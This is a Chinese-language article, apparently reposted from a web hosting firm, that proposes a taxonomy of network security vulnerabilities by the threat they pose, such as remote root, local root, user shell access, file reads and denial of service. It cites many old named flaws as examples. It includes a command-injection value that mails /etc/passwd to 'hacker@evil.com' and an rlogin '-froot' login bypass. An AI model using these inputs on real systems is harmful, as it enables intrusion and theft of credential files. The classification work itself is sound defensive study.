写本文的目地是为了总结一些东西，解决在试图构造一个漏洞数据库的过程中碰到的主要问题，也就是如何对电脑网络漏洞进行分类的问题。文中的一些想法并不成熟，有些甚至连自己也不满意，权作抛砖引玉，以期和在这方面有深入研究的同仁交流，一起提高完善。
一个电脑网络安全漏洞有他多方面的属性，我认为主要能够用以下几个方面来概括：漏洞可能造成的直接威胁，漏洞的成因，漏洞的严重性，漏洞被利用的方式。以下的讨论将回绕这几个方面对漏洞细分其类。
A．按漏洞可能对系统造成的直接威胁
能够大致分成以下几类，事实上一个系统漏洞对安全造成的威胁远不限于他的直接可能性，假如攻击者获得了对系统的一般用户访问权限，他就极有可能再通过利用本地漏洞把自己升级为管理员权限：
一．远程管理员权限
攻击者无须一个账号登录到本地直接获得远程系统的管理员权限，通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出，少部分来自守护进程本身的逻辑缺陷。
典型漏洞：
IMAP4rev1 v10.190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查，构造一个精心设计的AUTH命令串，能够溢出imapd的缓冲区，执行指定的命令，由于imapd以root身份运行，从而直接获得机器的root权限。
WindowsNT IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查，假如构造一个超长的URL，能够溢出IIS (inetinfo.exe)的缓冲区，执行我们指定的代码。由于inetinfo.exe是以local system身份启动，溢出后能够直接得到管理员权限。
早期AIX 3.2 rlogind代码存在认证逻辑缺陷，用rlogin victim.com -l -froot，能够直接以root身份登录到系统而无须提供口令。
二．本地管理员权限
攻击者在已有一个本地账号能够登录到系统的情况下，通过攻击本地某些有缺陷的suid程式，竞争条件等手段，得到系统的管理员权限。
典型漏洞：
RedHat Linux的restore是个suid程式，他的执行依靠一个中RSH的环境变量，通过配置环境变量PATH，能够使RSH变量中的可执行程式以root身份运行，从而获得系统的root权限。
Solaris 7的Xsun程式有suid位，他对输入参数未做有效的边界检查，能够很容易地溢出他的缓冲区，以root身份运行我们指定的代码，从而获得管理员权限。
在windows2000下，攻击者就有机会让网络DDE（一种在不同的Windows机器上的应用程式之间动态共享数据的技术）代理在本地系统用户的安全上下文中执行其指定的代码，从而提升权限并完全控制本地机器。
三．普通用户访问权限
攻击者利用服务器的漏洞，取得系统的普通用户存取权限，对UNIX类系统通常是shell访问权限，对Windows系统通常是cmd.exe的访问权限，能够以一般用户的身份执行程式，存取文档。攻击者通常攻击以非root身份运行的守护进程，有缺陷的cgi程式等手段获得这种访问权限。
典型漏洞：
UBB是个广泛运行于各种UNIX和Windows系统的论坛程式，用PERL实现，他的5.19以下版本存在输入验证问题，通过提交精心构造的表单内容，能够使UBB去执行shell命令，因为一般的web服务器以nobody身份运行，因此能够得到一个nobody shell。比如提交这样的数据：topic='012345.ubb|mail hacker@evil.com </etc/passwd|'，我们就能够得到系统的passwd文档。
RedHat Linux 6.2带的innd 2.2.2.3版新闻服务器，存在缓冲区溢出漏洞，通过一个精心构造的新闻信件能够使innd服务器以news身份运行我们指定的代码，得到一个innd权限的shell。
Windows IIS 4.0-5.0存在Unicode解码漏洞，能够使攻击者利用cmd.exe以guest组的权限在系统上运行程式。相当于取得了普通用户的权限。
四．权限提升
攻击者在本地通过攻击某些有缺陷的sgid程式，把自己的权限提升到某个非root用户的水平。获得管理员权限能够看做是一种特别的权限提升，只是因为威胁的大小不同而把他单独出来。
典型漏洞：
RedHat Linux 6.1带的man程式为sgid man，他存在format bug，通过对他的溢出攻击，能够使攻击者得到man组的用户权限。
Solaris 7的write程式为sgid tty，他存在缓冲区溢出问题，通过对他的攻击能够攻击者得到tty组的用户权限。
WindowsNT系统中，攻击者能够使系统中其他用户装入一个”特洛化”的porfile，使其他用户执行攻击者的恶意代码，有时甚至是管理员。
五．读取受限文档
攻击者通过利用某些漏洞，读取系统中他应该没有权限的文档，这些文档通常是安全相关的。这些漏洞的存在可能是文档配置权限不正确，或是特权进程对文档的不正确处理和意外dump core使受限文档的一部份dump到了core文档中。
典型漏洞：
SunOS 5.5的ftpd存在漏洞，一般用户能够引起ftpd出错而dump出一个全局可读的core文档，里面有shadow文档的片断，从而使一般用户能读到shadow的部分内容。
SuSE 6.2的suid程式pg，对他的配置文档处理存在问题，当把pb.conf链接到特权文档，能够用pb读取那些文档的内容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的日志文档全局可读而且为明文，他记录了连接的口令，很可能被攻击者读到。
六．远程拒绝服务
攻击者利用这类漏洞，无须登录即可对系统发起拒绝服务攻击，使系统或相关的应用程式崩溃或失去响应能力。这类漏洞通常是系统本身或其守护进程有缺陷或配置不正确造成的。
早期的Linux 和 BSD的tcp/ip堆栈的ip 片断重组模块存在缺陷，攻击通过向系统发出特别的ip片断包能够使机器崩溃。
Windows2000带的Netmeeting 3.01存在缺陷，通过向他发送二进制数据流，能够使服务器的CPU占用达到100%。
通过发送一个带有超长参数的USER命令给AnalogX Proxy Server 4.04的ftp端口，能够使这个应用程式崩溃。
七．本地拒绝服务
在攻击者登录到系统后，利用这类漏洞，能够使系统本身或应用程式崩溃。这种漏洞主要因为是程式对意外情况的处理失误，如写临时文档之前不检查文档是否存在，盲目跟随链接等。
BSDi 3.x存在漏洞能够使一个本地用户用一些垃圾覆盖系统上的任何，这样会很容易地把系统搞成不可用。
RedHat 6.1的tmpwatch程式存在缺陷，能够使系统fork()出许多进程，从而使系统失去响应能力。
八．远程非授权文档存取
利用这类漏洞，攻击能够不经授权地从远程存取系统的某些文档。这类漏洞主要是由一些有缺陷的cgi程式引起的，他们对用户输入没有做适当的合法性检查，使攻击者通过构造特别的输入获得对文档存取。
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
